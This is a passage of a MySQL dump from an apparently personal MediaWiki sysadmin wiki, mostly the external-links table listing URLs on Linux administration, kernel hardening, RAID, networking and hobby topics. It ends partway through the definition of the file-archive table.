od/'),(358,'http://forum.kde.org/viewtopic.php?f=66&t=86624','http://org.kde.forum./viewtopic.php?f=66&t=86624'),(358,'http://www.apcupsd.org/manual/manual.html#quick-start-for-beginners','http://org.apcupsd.www./manual/manual.html#quick-start-for-beginners'),(360,'http://www.ittvis.com/services/techtip.asp?ttid=1210','http://com.ittvis.www./services/techtip.asp?ttid=1210'),(362,'http://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/','http://com.pdflabs.www./tools/pdftk-the-pdf-toolkit/'),(362,'http://www.linux.com/archive/feed/53701','http://com.linux.www./archive/feed/53701'),(362,'http://www.pdfsam.org/','http://org.pdfsam.www./'),(291,'http://www.digitalhermit.com/linux/Kernel-Build-HOWTO.html#BUILDING','http://com.digitalhermit.www./linux/Kernel-Build-HOWTO.html#BUILDING'),(291,'http://linuxtweaking.blogspot.com/2010/04/opensuse-112-how-to-compile-kernel-for.html','http://com.blogspot.linuxtweaking./2010/04/opensuse-112-how-to-compile-kernel-for.html'),(291,'http://forums.opensuse.org/english/get-help-here/pre-release-beta/421320-questions-help-regarding-kernel-2-6-31-a-2.html','http://org.opensuse.forums./english/get-help-here/pre-release-beta/421320-questions-help-regarding-kernel-2-6-31-a-2.html'),(291,'http://en.gentoo-wiki.com/wiki/Initramfs#Kernel_Configuration','http://com.gentoo-wiki.en./wiki/Initramfs#Kernel_Configuration'),(243,'http://mydebian.blogdns.org/?p=148','http://org.blogdns.mydebian./?p=148'),(363,'http://www.newegg.com/Product/Product.aspx?Item=N82E16815116030','http://com.newegg.www./Product/Product.aspx?Item=N82E16815116030'),(364,'http://nwn.bioware.com/downloads/linuxclient.html','http://com.bioware.nwn./downloads/linuxclient.html'),(364,'http://home.roadrunner.com/~nwmovies/nwmovies/','http://com.roadrunner.home./~nwmovies/nwmovies/'),(364,'http://home.roadrunner.com/~nwmovies/nwmovies/nwmovies-latest.tar.gz','http://com.roadrunner.home./~nwmovies/nwmovies/nwmovies-latest.tar.gz'),(364,'http://www.radgametools.com/bnkdown.htm','http://com.radgametools.www./bnkdown.htm'),(364,'http://icculus.org/~ravage/nwn/','http://org.icculus./~ravage/nwn/'),(364,'http://ubuntuforums.org/showthread.php?t=61511','http://org.ubuntuforums./showthread.php?t=61511'),(364,'http://nwn.bioware.com/forums/viewtopic.html?topic=445734&forum=72','http://com.bioware.nwn./forums/viewtopic.html?topic=445734&forum=72'),(364,'http://nwn.bioware.com/forums/viewtopic.html?topic=656261&forum=72&sp=30','http://com.bioware.nwn./forums/viewtopic.html?topic=656261&forum=72&sp=30'),(364,'http://kde-look.org/content/show.php?content=5492','http://org.kde-look./content/show.php?content=5492'),(19,'http://www.cisl.ucar.edu/docs/ssh/guide/node30.html','http://edu.ucar.cisl.www./docs/ssh/guide/node30.html'),(100,'http://www.redhat.com/archives/rpm-list/2005-August/msg00088.html','http://com.redhat.www./archives/rpm-list/2005-August/msg00088.html'),(364,'http://www.gog.com/en/gamecard/neverwinter_nights_diamond_edition','http://com.gog.www./en/gamecard/neverwinter_nights_diamond_edition'),(365,'http://www.adamsinfo.com/netcat-tutorial-for-linux-windows-howto-nc/','http://com.adamsinfo.www./netcat-tutorial-for-linux-windows-howto-nc/'),(365,'http://www.gnucitizen.org/blog/reverse-shell-with-bash/','http://org.gnucitizen.www./blog/reverse-shell-with-bash/'),(192,'http://www.intodns.com','http://com.intodns.www./'),(366,'http://www.mcelog.org/','http://org.mcelog.www./'),(366,'http://freshmeat.net/projects/mcelog/','http://net.freshmeat./projects/mcelog/'),(366,'http://barry.wordpress.com/2009/05/12/predicting-server-hardware-failure-with-mcelog/','http://com.wordpress.barry./2009/05/12/predicting-server-hardware-failure-with-mcelog/'),(366,'http://www.redhat.com/magazine/023sep06/features/tips_tricks2/','http://com.redhat.www./magazine/023sep06/features/tips_tricks2/'),(366,'http://www.gossamer-threads.com/lists/linux/kernel/1015942','http://com.gossamer-threads.www./lists/linux/kernel/1015942'),(366,'http://www.mcelog.org/manpage.html','http://org.mcelog.www./manpage.html'),(335,'http://icl.cs.utk.edu/','http://edu.utk.cs.icl./'),(335,'http://igmcs.utk.edu/','http://edu.utk.igmcs./'),(328,'http://xen.1045712.n5.nabble.com/so-close-just-an-iptables-rule-away-td2555877.html','http://com.nabble.n5.1045712.xen./so-close-just-an-iptables-rule-away-td2555877.html'),(328,'http://www.cisl.ucar.edu/docs/ssh/guide/node30.html','http://edu.ucar.cisl.www./docs/ssh/guide/node30.html'),(328,'http://forums.opensuse.org/english/get-help-here/applications/447580-virt-manager-only-will-not-x-forward.html','http://org.opensuse.forums./english/get-help-here/applications/447580-virt-manager-only-will-not-x-forward.html'),(328,'https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=239395','https://com.redhat.bugzilla./show_bug.cgi?format=multiple&id=239395'),(291,'http://www.faqs.org/docs/Linux-HOWTO/Kernel-HOWTO.html#vmlinuz','http://org.faqs.www./docs/Linux-HOWTO/Kernel-HOWTO.html#vmlinuz'),(291,'http://www.howtoforge.com/kernel_compilation_suse_p3','http://com.howtoforge.www./kernel_compilation_suse_p3'),(367,'http://www.howtoforge.com/hardening-the-linux-kernel-with-grsecurity-debian','http://com.howtoforge.www./hardening-the-linux-kernel-with-grsecurity-debian'),(367,'http://en.wikibooks.org/wiki/Grsecurity','http://org.wikibooks.en./wiki/Grsecurity'),(367,'http://en.wikipedia.org/wiki/NX_bit','http://org.wikipedia.en./wiki/NX_bit'),(367,'http://en.wikipedia.org/wiki/X86-64','http://org.wikipedia.en./wiki/X86-64'),(367,'http://grsecurity.net/~spender/paxtest-0.9.9.tgz','http://net.grsecurity./~spender/paxtest-0.9.9.tgz'),(367,'http://grsecurity.net/test.php','http://net.grsecurity./test.php'),(368,'http://www.phoronix.com/scan.php?page=article&item=linux_2637_video&num=2','http://com.phoronix.www./scan.php?page=article&item=linux_2637_video&num=2'),(368,'http://forums.opensuse.org/english/get-help-here/applications/449920-how-would-i-apply-phoronix-patch-2.html','http://org.opensuse.forums./english/get-help-here/applications/449920-how-would-i-apply-phoronix-patch-2.html'),(368,'http://forums.opensuse.org/english/get-help-here/install-boot-login/450079-new-kernel-speed-up-patch-file-mike-galbraith.html','http://org.opensuse.forums./english/get-help-here/install-boot-login/450079-new-kernel-speed-up-patch-file-mike-galbraith.html'),(368,'http://www.webupd8.org/2010/11/alternative-to-200-lines-kernel-patch.html','http://org.webupd8.www./2010/11/alternative-to-200-lines-kernel-patch.html'),(368,'http://forums.opensuse.org/english/get-help-here/install-boot-login/450079-new-kernel-speed-up-patch-file-mike-galbraith-5.html','http://org.opensuse.forums./english/get-help-here/install-boot-login/450079-new-kernel-speed-up-patch-file-mike-galbraith-5.html'),(304,'http://www.infoworld.com/d/developer-world/cuda-and-opencl-265','http://com.infoworld.www./d/developer-world/cuda-and-opencl-265'),(304,'http://developer.apple.com/library/mac/#documentation/Performance/Conceptual/OpenCL_MacProgGuide/TheOpenCLWorkflow/TheOpenCLWorkflow.html#//apple_ref/doc/uid/TP40008312-CH111-SW23','http://com.apple.developer./library/mac/#documentation/Performance/Conceptual/OpenCL_MacProgGuide/TheOpenCLWorkflow/TheOpenCLWorkflow.html#//apple_ref/doc/uid/TP40008312-CH111-SW23'),(367,'http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.36.1.tar.bz2','http://org.kernel.www./pub/linux/kernel/v2.6/linux-2.6.36.1.tar.bz2'),(367,'http://grsecurity.net/test/grsecurity-2.2.1-2.6.36.1-201012040057.patch','http://net.grsecurity./test/grsecurity-2.2.1-2.6.36.1-201012040057.patch'),(369,'http://opensuse-community.org/Restricted_Formats','http://org.opensuse-community./Restricted_Formats'),(369,'http://opensuse-community.org/SubpixelHinting','http://org.opensuse-community./SubpixelHinting'),(370,'http://www.songsterr.com/a/wa/song?trackPos=0&id=369','http://com.songsterr.www./a/wa/song?trackPos=0&id=369'),(370,'http://www.songsterr.com/a/wa/song?id=30225','http://com.songsterr.www./a/wa/song?id=30225'),(370,'http://tabs.guitarworld.com/tabs/show/2672/alone-again','http://com.guitarworld.tabs./tabs/show/2672/alone-again'),(370,'http://www.xguitar.com/guitar-tabs/def_leppard/high_n_dry/bringin_on_the_heartbreak.txt','http://com.xguitar.www./guitar-tabs/def_leppard/high_n_dry/bringin_on_the_heartbreak.txt'),(370,'http://www.64studio.com','http://com.64studio.www./'),(370,'http://rakarrack.sourceforge.net/','http://net.sourceforge.rakarrack./'),(370,'http://www.behringer.com/EN/Products/UCG102.aspx','http://com.behringer.www./EN/Products/UCG102.aspx'),(370,'ftp://distro.ibiblio.org/pub/linux/distributions/opensuse/repositories/multimedia:/apps/openSUSE_11.3/x86_64/rakarrack-0.6.1-1.4.x86_64.rpm','ftp://org.ibiblio.distro./pub/linux/distributions/opensuse/repositories/multimedia:/apps/openSUSE_11.3/x86_64/rakarrack-0.6.1-1.4.x86_64.rpm'),(370,'http://www.amazon.com/LightSnake-STUSBG10-USB-Instrument-cable/dp/B000H7LBB8','http://com.amazon.www./LightSnake-STUSBG10-USB-Instrument-cable/dp/B000H7LBB8'),(370,'http://www.guitarforum.co.za/recordings/pc-recording-in-linux/?PHPSESSID=193fcae4441d8500d1845a1a274b0c1f','http://za.co.guitarforum.www./recordings/pc-recording-in-linux/?PHPSESSID=193fcae4441d8500d1845a1a274b0c1f'),(48,'http://www.spcollege.edu/Central/ccit/comp_programming_degree.htm','http://edu.spcollege.www./Central/ccit/comp_programming_degree.htm'),(48,'http://www.spcollege.edu/program/CWPS-CT','http://edu.spcollege.www./program/CWPS-CT'),(370,'http://ubuntustudio.org/','http://org.ubuntustudio./'),(370,'http://susegallery.com/a/OFknLD/opensuse-multimedia-studio','http://com.susegallery./a/OFknLD/opensuse-multimedia-studio'),(126,'http://www.keithscode.com/linux-tutorials/installing-dell-openmanage-server-administrator-on-ubuntu.html','http://com.keithscode.www./linux-tutorials/installing-dell-openmanage-server-administrator-on-ubuntu.html'),(126,'http://support.dell.com/support/edocs/software/svradmin/6.3/en/ug/html/index.htm','http://com.dell.support./support/edocs/software/svradmin/6.3/en/ug/html/index.htm'),(126,'http://support.dell.com/support/edocs/software/svradmin/5.3/en/ug/pdf/omsa53ug.pdf','http://com.dell.support./support/edocs/software/svradmin/5.3/en/ug/pdf/omsa53ug.pdf'),(126,'http://www.dell.com/downloads/global/power/ps2q06-20060188-Latief-OE.pdf','http://com.dell.www./downloads/global/power/ps2q06-20060188-Latief-OE.pdf'),(126,'http://www.dell.com/downloads/global/power/ps1q07-20070196-gopakumar-oe.pdf','http://com.dell.www./downloads/global/power/ps1q07-20070196-gopakumar-oe.pdf'),(126,'http://ccn.ucla.edu/users/jkyle/weblog/e14bd/Dell_Perc_5i_on_Ubuntu_64.html','http://edu.ucla.ccn./users/jkyle/weblog/e14bd/Dell_Perc_5i_on_Ubuntu_64.html'),(126,'http://support.dell.com/support/edocs/software/svradmin/5.1/en/omss_ug/html/getstrt.html#1075109','http://com.dell.support./support/edocs/software/svradmin/5.1/en/omss_ug/html/getstrt.html#1075109'),(126,'http://linux.dell.com/repo/hardware/latest/','http://com.dell.linux./repo/hardware/latest/'),(126,'http://www.delltechcenter.com/page/Linux+RAID+and+Storage','http://com.delltechcenter.www./page/Linux+RAID+and+Storage'),(126,'http://www.lsi.com/storage_home/products_home/internal_raid/megaraid_sas/megaraid_sas_8480e/index.html?remote=1&locale','http://com.lsi.www./storage_home/products_home/internal_raid/megaraid_sas/megaraid_sas_8480e/index.html?remote=1&locale'),(126,'http://tools.rapidsoft.de/perc/','http://de.rapidsoft.tools./perc/'),(126,'http://www.lsi.com/channel/products/raid_controllers/megaraid_9261-8i/index.html','http://com.lsi.www./channel/products/raid_controllers/megaraid_9261-8i/index.html'),(371,'http://www.inquisitor.ru/doc/einarc/','http://ru.inquisitor.www./doc/einarc/'),(371,'http://tools.rapidsoft.de/perc/perc-cheat-sheet.html','http://de.rapidsoft.tools./perc/perc-cheat-sheet.html'),(371,'http://www.kaltenbrunner.cc/blog/index.php?/archives/4-LSIlogic-MegaRAID-SAS-and-the-self-explaining-CLI.html','http://cc.kaltenbrunner.www./blog/index.php?/archives/4-LSIlogic-MegaRAID-SAS-and-the-self-explaining-CLI.html'),(371,'http://www.lsi.com/channel/products/raid_controllers/megaraid_9261-8i/index.html','http://com.lsi.www./channel/products/raid_controllers/megaraid_9261-8i/index.html'),(328,'http://wiki.centos.org/HowTos/KVM','http://org.centos.wiki./HowTos/KVM'),(328,'http://www.linux-kvm.org/page/Networking#public_bridge','http://org.linux-kvm.www./page/Networking#public_bridge'),(328,'http://wiki.xensource.com/xenwiki/XenNetworking','http://com.xensource.wiki./xenwiki/XenNetworking'),(372,'http://danielmiessler.com/study/tcpdump/','http://com.danielmiessler./study/tcpdump/'),(372,'http://hyperboleandahalf.blogspot.com/','http://com.blogspot.hyperboleandahalf./'),(372,'http://xorl.wordpress.com/','http://com.wordpress.xorl./'),(373,'http://www.linux.com/learn/tutorials/322137-finding-evernote-replacements-for-linux','http://com.linux.www./learn/tutorials/322137-finding-evernote-replacements-for-linux'),(304,'http://cudpp.googlecode.com/svn/tags/1.1.1/cudpp/doc/html/index.html','http://com.googlecode.cudpp./svn/tags/1.1.1/cudpp/doc/html/index.html'),(374,'http://sourceforge.net/projects/phpchain/','http://net.sourceforge./projects/phpchain/'),(374,'http://phpchain.sourceforge.net/','http://net.sourceforge.phpchain./'),(375,'http://www.gnucitizen.org/blog/reverse-shell-with-bash/','http://org.gnucitizen.www./blog/reverse-shell-with-bash/'),(367,'http://en.wikipedia.org/wiki/PaX','http://org.wikipedia.en./wiki/PaX'),(367,'http://www.wordiq.com/definition/NX_bit','http://com.wordiq.www./definition/NX_bit'),(367,'http://en.wikipedia.org/wiki/Physical_Address_Extension','http://org.wikipedia.en./wiki/Physical_Address_Extension'),(367,'http://pax.grsecurity.net/','http://net.grsecurity.pax./'),(367,'http://www.gentoo.org/proj/en/hardened/pax-utils.xml','http://org.gentoo.www./proj/en/hardened/pax-utils.xml'),(367,'http://forums.grsecurity.net/','http://net.grsecurity.forums./'),(367,'http://www.crucialp.com/resources/tutorials/server-administration/linux-kernel-2.6-compilation-compile-with-grsecurity-grsec-2.6.5-2.6.7-2.6.8-2.6.8.1-2.6.9-2.6.10-2.6.11.6-tutorial-how-to.php','http://com.crucialp.www./resources/tutorials/server-administration/linux-kernel-2.6-compilation-compile-with-grsecurity-grsec-2.6.5-2.6.7-2.6.8-2.6.8.1-2.6.9-2.6.10-2.6.11.6-tutorial-how-to.php'),(367,'http://kerneltrap.org/node/4590','http://org.kerneltrap./node/4590'),(302,'http://genome.jgi-psf.org/','http://org.jgi-psf.genome./'),(376,'http://racktables.org','http://org.racktables./'),(376,'http://racksmith.net/','http://net.racksmith./'),(377,'http://en.literateprograms.org/Binary_search_tree_(C)','http://org.literateprograms.en./Binary_search_tree_(C)'),(377,'http://stackoverflow.com/questions/20734/red-black-trees','http://com.stackoverflow./questions/20734/red-black-trees'),(378,'http://dnsviz.net/','http://net.dnsviz./'),(378,'http://www.crypt.gen.nz/papers/dns_security_2.html','http://nz.gen.crypt.www./papers/dns_security_2.html'),(378,'https://addons.mozilla.org/en-US/firefox/addon/64247/','https://org.mozilla.addons./en-US/firefox/addon/64247/'),(378,'http://www.notanon.com/security/how-to-dig-for-dnssec-records/2010/07/23/','http://com.notanon.www./security/how-to-dig-for-dnssec-records/2010/07/23/'),(378,'http://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions','http://org.wikipedia.en./wiki/Domain_Name_System_Security_Extensions'),(379,'http://developer.pidgin.im/wiki/ThirdPartyPlugins','http://im.pidgin.developer./wiki/ThirdPartyPlugins'),(379,'http://code.google.com/p/pidgin-knotifications/','http://com.google.code./p/pidgin-knotifications/'),(379,'http://lifehacker.com/356291/ten-must+have-plug+ins-to-power-up-pidgin','http://com.lifehacker./356291/ten-must+have-plug+ins-to-power-up-pidgin'),(379,'http://sourceforge.net/projects/sipe/','http://net.sourceforge./projects/sipe/'),(380,'http://wiki.awn-project.org/Installation','http://org.awn-project.wiki./Installation'),(380,'http://www.susegeek.com/graphics/avant-window-navigator-awn-mac-os-like-dock-in-opensuse/','http://com.susegeek.www./graphics/avant-window-navigator-awn-mac-os-like-dock-in-opensuse/'),(380,'http://www.unix-tutorials.com/go.php?id=3817','http://com.unix-tutorials.www./go.php?id=3817'),(380,'http://forums.opensuse.org/english/get-help-here/applications/441373-avant-window-navigator-2.html','http://org.opensuse.forums./english/get-help-here/applications/441373-avant-window-navigator-2.html'),(371,'http://hwraid.le-vert.net/wiki/LSIMegaRAIDSAS','http://net.le-vert.hwraid./wiki/LSIMegaRAIDSAS'),(381,'http://wiki.freaks-unidos.net/ssh-port-forwarding','http://net.freaks-unidos.wiki./ssh-port-forwarding'),(381,'http://www.debianadmin.com/howto-use-ssh-local-and-remote-port-forwarding.html','http://com.debianadmin.www./howto-use-ssh-local-and-remote-port-forwarding.html'),(381,'http://home.icequake.net/~nemesis/blog/index.php/archives/283','http://net.icequake.home./~nemesis/blog/index.php/archives/283'),(382,'http://www.amazon.com/Logitech-Wireless-Guitar-Controller-Playstation-3/dp/B001NTBWK4/ref=acc_glance_vg_ai_purchase_similarities_t_5','http://com.amazon.www./Logitech-Wireless-Guitar-Controller-Playstation-3/dp/B001NTBWK4/ref=acc_glance_vg_ai_purchase_similarities_t_5'),(382,'http://www.surpluscomputers.com/349236/logitech-ps3-wireless-guitar-guitar.html','http://com.surpluscomputers.www./349236/logitech-ps3-wireless-guitar-guitar.html'),(382,'http://gamerant.com/drum-rocker-pro-rock-band-3-jeff-28180/','http://com.gamerant./drum-rocker-pro-rock-band-3-jeff-28180/'),(382,'http://www.ionaudio.com/gaming','http://com.ionaudio.www./gaming'),(382,'http://www.ionaudio.com/ied18','http://com.ionaudio.www./ied18'),(382,'http://www.amazon.com/IED08-Drum-Rocker-Premium-Playstation-3/dp/B001E2UGVQ/ref=pd_cp_e_2','http://com.amazon.www./IED08-Drum-Rocker-Premium-Playstation-3/dp/B001E2UGVQ/ref=pd_cp_e_2'),(382,'http://www.amazon.com/Rock-Wireless-Pro-Drum-Pro-Cymbals-PlayStation-3/dp/B0040795IC/ref=pd_cp_vg_1','http://com.amazon.www./Rock-Wireless-Pro-Drum-Pro-Cymbals-PlayStation-3/dp/B0040795IC/ref=pd_cp_vg_1'),(382,'http://blog.logitech.com/2009/05/12/wireless-guitar-controller-for-ps3-and-ps2-logitechs-guitar-hero-guitar-is-back-in-black/','http://com.logitech.blog./2009/05/12/wireless-guitar-controller-for-ps3-and-ps2-logitechs-guitar-hero-guitar-is-back-in-black/'),(382,'http://www.rockband.com/compatibility','http://com.rockband.www./compatibility'),(382,'http://www.joystiq.com/Instrument-Compatibility-Matrix/','http://com.joystiq.www./Instrument-Compatibility-Matrix/'),(382,'http://www.cnet.com.au/logitech-wireless-guitar-controller-339297726.htm','http://au.com.cnet.www./logitech-wireless-guitar-controller-339297726.htm'),(370,'http://www.howtotuneaguitar.org/','http://org.howtotuneaguitar.www./'),(370,'http://www.cyberfret.com/scales/basic/page2.php','http://com.cyberfret.www./scales/basic/page2.php'),(256,'http://caca.zoy.org/wiki/neercs','http://org.zoy.caca./wiki/neercs'),(256,'http://caca.zoy.org/wiki/neercs/devel','http://org.zoy.caca./wiki/neercs/devel'),(256,'http://blog.habets.pp.se/2009/03/Moving-a-process-to-another-terminal','http://se.pp.habets.blog./2009/03/Moving-a-process-to-another-terminal'),(256,'http://serverfault.com/questions/55880/moving-an-already-running-process-to-screen','http://com.serverfault./questions/55880/moving-an-already-running-process-to-screen'),(236,'http://publications.gbdirect.co.uk/c_book/','http://uk.co.gbdirect.publications./c_book/'),(383,'https://launchpad.net/ubuntu/hardy/+package/mirror','https://net.launchpad./ubuntu/hardy/+package/mirror'),(383,'http://wiki.tldp.org/Mirroring%20Information','http://org.tldp.wiki./Mirroring%20Information'),(383,'http://manpages.ubuntu.com/manpages/hardy/man1/mirror.1.html','http://com.ubuntu.manpages./manpages/hardy/man1/mirror.1.html'),(383,'http://ibiblio.org/gferg/patch/ftp.pl.gz','http://org.ibiblio./gferg/patch/ftp.pl.gz'),(302,'http://www.nccs.gov/user-support/training-education/hpcparallel-computing-links/','http://gov.nccs.www./user-support/training-education/hpcparallel-computing-links/'),(302,'http://www.nics.tennessee.edu/computing-resources/kraken/user-guide','http://edu.tennessee.nics.www./computing-resources/kraken/user-guide'),(302,'http://www.nics.tennessee.edu/EOT-archives','http://edu.tennessee.nics.www./EOT-archives'),(302,'http://www.nics.tennessee.edu/EOT-archives-olcf-nics-xt-6-core-workshop/','http://edu.tennessee.nics.www./EOT-archives-olcf-nics-xt-6-core-workshop/'),(302,'http://www.nccs.gov/user-support/training-education/','http://gov.nccs.www./user-support/training-education/'),(302,'http://www.citutor.org/browse.php','http://org.citutor.www./browse.php'),(383,'http://sunsite.univie.ac.at/textbooks/mirror/mirror.html','http://at.ac.univie.sunsite./textbooks/mirror/mirror.html'),(383,'http://gd.tuwien.ac.at/utils/archivers/mirror/','http://at.ac.tuwien.gd./utils/archivers/mirror/'),(384,'http://www.slac.stanford.edu/~abh/bbcp/','http://edu.stanford.slac.www./~abh/bbcp/'),(384,'http://www.nccs.gov/user-support/general-support/data-transfer/bbcp/','http://gov.nccs.www./user-support/general-support/data-transfer/bbcp/'),(370,'http://www.faqs.org/docs/Linux-HOWTO/MIDI-HOWTO.html','http://org.faqs.www./docs/Linux-HOWTO/MIDI-HOWTO.html'),(370,'http://www.linux-sound.org/one-page.html','http://org.linux-sound.www./one-page.html'),(370,'http://getsatisfaction.com/energyxt/topics/what_linux_usb_audio_sound_card','http://com.getsatisfaction./energyxt/topics/what_linux_usb_audio_sound_card'),(370,'http://jackaudio.org/linux_rt_config','http://org.jackaudio./linux_rt_config'),(370,'http://lmms.sourceforge.net/','http://net.sourceforge.lmms./'),(370,'http://www.kvraudio.com/','http://com.kvraudio.www./'),(370,'http://www.blguitar.com/lesson/beginner/','http://com.blguitar.www./lesson/beginner/'),(370,'http://www.8notes.com/guitar_chord_chart/','http://com.8notes.www./guitar_chord_chart/'),(370,'http://www.blguitar.com/lesson/beginner/natural_scale.html','http://com.blguitar.www./lesson/beginner/natural_scale.html'),(385,'http://www.cendio.com/seamlessrdp/','http://com.cendio.www./seamlessrdp/'),(385,'http://www.linux.com/archive/feature/124908','http://com.linux.www./archive/feature/124908'),(386,'http://cetus.ecn.purdue.edu/','http://edu.purdue.ecn.cetus./'),(386,'http://cetus.ecn.purdue.edu/release-notes-1.2.1.txt','http://edu.purdue.ecn.cetus./release-notes-1.2.1.txt'),(386,'http://cetus.ecn.purdue.edu/documentation.html','http://edu.purdue.ecn.cetus./documentation.html'),(19,'http://www.cyberciti.biz/faq/speeding-up-ssh-x11-forwarding-with-unix-osx-linux-bsd/','http://biz.cyberciti.www./faq/speeding-up-ssh-x11-forwarding-with-unix-osx-linux-bsd/'),(303,'http://www.knoxvillewholesalefurniture.com/Item.aspx?ItemID=-40942301&ItemNum=944302+304','http://com.knoxvillewholesalefurniture.www./Item.aspx?ItemID=-40942301&ItemNum=944302+304'),(303,'http://www.knoxvillewholesalefurniture.com/Item.aspx?ItemID=-2135705167&ItemNum=944240+2X261+4X260','http://com.knoxvillewholesalefurniture.www./Item.aspx?ItemID=-2135705167&ItemNum=944240+2X261+4X260'),(303,'http://www.knoxvillewholesalefurniture.com/Item.aspx?ItemID=-1987214673&ItemNum=D213-35','http://com.knoxvillewholesalefurniture.www./Item.aspx?ItemID=-1987214673&ItemNum=D213-35'),(303,'http://www.knoxvillewholesalefurniture.com/Item.aspx?ItemID=2041392611&ItemNum=444-814+445-828+2x827+2x826','http://com.knoxvillewholesalefurniture.www./Item.aspx?ItemID=2041392611&ItemNum=444-814+445-828+2x827+2x826'),(387,'http://www.spinics.net/linux/fedora/kickstart/msg07687.html','http://net.spinics.www./linux/fedora/kickstart/msg07687.html'),(256,'http://www.rackaid.com/resources/linux-screen-tutorial-and-how-to/','http://com.rackaid.www./resources/linux-screen-tutorial-and-how-to/'),(388,'http://dnsviz.net/','http://net.dnsviz./'),(384,'http://www.nccs.gov/user-support/general-support/data-transfer/','http://gov.nccs.www./user-support/general-support/data-transfer/'),(356,'http://www.ezunix.org/index.php?title=Network_boot_operating_systems_with_gPXE','http://org.ezunix.www./index.php?title=Network_boot_operating_systems_with_gPXE'),(389,'http://www.citrix.com/English/ss/downloads/index.asp','http://com.citrix.www./English/ss/downloads/index.asp'),(390,'http://h18004.www1.hp.com/products/quickspecs/DS_00197/DS_00197.pdf','http://com.hp.www1.h18004./products/quickspecs/DS_00197/DS_00197.pdf'),(390,'http://h18000.www1.hp.com/products/quickspecs/13669_na/13669_na.html#Power%20Specifications','http://com.hp.www1.h18000./products/quickspecs/13669_na/13669_na.html#Power%20Specifications'),(390,'ftp://ftp.hp.com/pub/softlib2/software1/pubsw-linux/p414707558/v61432/hpacucli-8.60-8.0.noarch.txt','ftp://com.hp.ftp./pub/softlib2/software1/pubsw-linux/p414707558/v61432/hpacucli-8.60-8.0.noarch.txt'),(390,'ftp://ftp.hp.com/pub/softlib2/software1/pubsw-linux/p1174222445/v61433/hpaducli-8.60-8.0.noarch.txt','ftp://com.hp.ftp./pub/softlib2/software1/pubsw-linux/p1174222445/v61433/hpaducli-8.60-8.0.noarch.txt'),(390,'http://www.apc.com/products/family/index.cfm?id=163','http://com.apc.www./products/family/index.cfm?id=163'),(390,'http://h18000.www1.hp.com/products/quickspecs/13404_div/13404_div.pdf','http://com.hp.www1.h18000./products/quickspecs/13404_div/13404_div.pdf'),(390,'http://exchange.nagios.org/directory/Plugins/Hardware/Storage-Systems/RAID-Controllers/check_cciss-%2D-HP-and-Compaq-Smart-Array-Hardware-status/details','http://org.nagios.exchange./directory/Plugins/Hardware/Storage-Systems/RAID-Controllers/check_cciss-%2D-HP-and-Compaq-Smart-Array-Hardware-status/details'),(257,'http://en.opensuse.org/SDB:Printing_to_PDF','http://org.opensuse.en./SDB:Printing_to_PDF'),(257,'http://forums.opensuse.org/showthread.php?p=2278447','http://org.opensuse.forums./showthread.php?p=2278447'),(373,'http://www.ibm.com/developerworks/linux/tutorials/l-ldap/section5.html','http://com.ibm.www./developerworks/linux/tutorials/l-ldap/section5.html'),(373,'http://sourceforge.net/projects/rolodap/','http://net.sourceforge./projects/rolodap/'),(373,'https://build.opensuse.org/package/show?package=phpldapadmin&project=home:airties:server','https://org.opensuse.build./package/show?package=phpldapadmin&project=home:airties:server'),(373,'http://www.brennan.id.au/20-Shared_Address_Book_LDAP.html','http://au.id.brennan.www./20-Shared_Address_Book_LDAP.html'),(373,'http://www.openldap.org/','http://org.openldap.www./'),(373,'http://www.linux.org/docs/ldp/howto/archived/LDAP-Implementation-HOWTO/schemas.html','http://org.linux.www./docs/ldp/howto/archived/LDAP-Implementation-HOWTO/schemas.html'),(243,'http://srackham.wordpress.com/cloning-and-copying-virtualbox-virtual-machines/','http://com.wordpress.srackham./cloning-and-copying-virtualbox-virtual-machines/'),(243,'http://forums.virtualbox.org/viewtopic.php?t=3014','http://org.virtualbox.forums./viewtopic.php?t=3014'),(243,'http://forum.virtualbox.org/viewtopic.php?f=7&t=11802&start=0','http://org.virtualbox.forum./viewtopic.php?f=7&t=11802&start=0'),(391,'http://linuxserverguide.wordpress.com/2010/11/24/how-to-disable-mod-security-for-a-domain-in-cpanel/','http://com.wordpress.linuxserverguide./2010/11/24/how-to-disable-mod-security-for-a-domain-in-cpanel/'),(391,'http://docs.cpanel.net/twiki/bin/view/AllDocumentation/EasyapacheModsecurity','http://net.cpanel.docs./twiki/bin/view/AllDocumentation/EasyapacheModsecurity'),(391,'http://forum.joomla.org/viewtopic.php?p=1282751','http://org.joomla.forum./viewtopic.php?p=1282751'),(391,'http://forum.joomla.org/viewtopic.php?f=32&t=52295','http://org.joomla.forum./viewtopic.php?f=32&t=52295'),(391,'http://www.modsecurity.org/','http://org.modsecurity.www./'),(392,'http://cirt.net/nikto2','http://net.cirt./nikto2'),(391,'http://www.configserver.com/cp/cmc.html','http://com.configserver.www./cp/cmc.html'),(391,'http://www.gotroot.com/tiki-index.php?page=mod_security+rules','http://com.gotroot.www./tiki-index.php?page=mod_security+rules'),(391,'http://www.webhostingtalk.com/showthread.php?t=855336','http://com.webhostingtalk.www./showthread.php?t=855336'),(391,'http://forums.cpanel.net/f42/addon-module-mod_security-29834-p14.html','http://net.cpanel.forums./f42/addon-module-mod_security-29834-p14.html');
/*!40000 ALTER TABLE `mw_externallinks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_filearchive`
--

DROP TABLE IF EXISTS `mw_filearchive`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_filearchive` (
  `fa_id` int(11) NOT NULL auto_increment,
  `fa_name` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `fa_archive_name` varchar(255) character set latin1 collate latin1_bin default '',
  `fa_storage_group` varbinary(16) default NULL,
  `fa_storage_key` varbinary(64) default '',
  `fa_deleted_user` int(11) default NULL,
  `fa_deleted_timestamp` varbinary(14) default '',
  `fa_deleted_reason` text,
  `fa_size` int(10) unsigned default '0',
  `fa_width` int(11) default '0',
  `fa_height` int(11) default '0',
  `fa_metadata` mediumblob,
  `fa_bits` int(11) default '0',
  `fa_media_type` enum('UNKNOWN','BITMAP','DRAWING','AUDIO','VIDEO','MULTIMEDIA','OFFICE','TEXT','EXECUTABLE','ARCHIVE') default NULL,
  `fa_major_mime` enum('unknown','application','audio','image','text','video','message','model','multipart') default 'unknown',
  `fa_minor_mime` varbinary(100) default 'unknown',
  `fa_description` tinyblob,
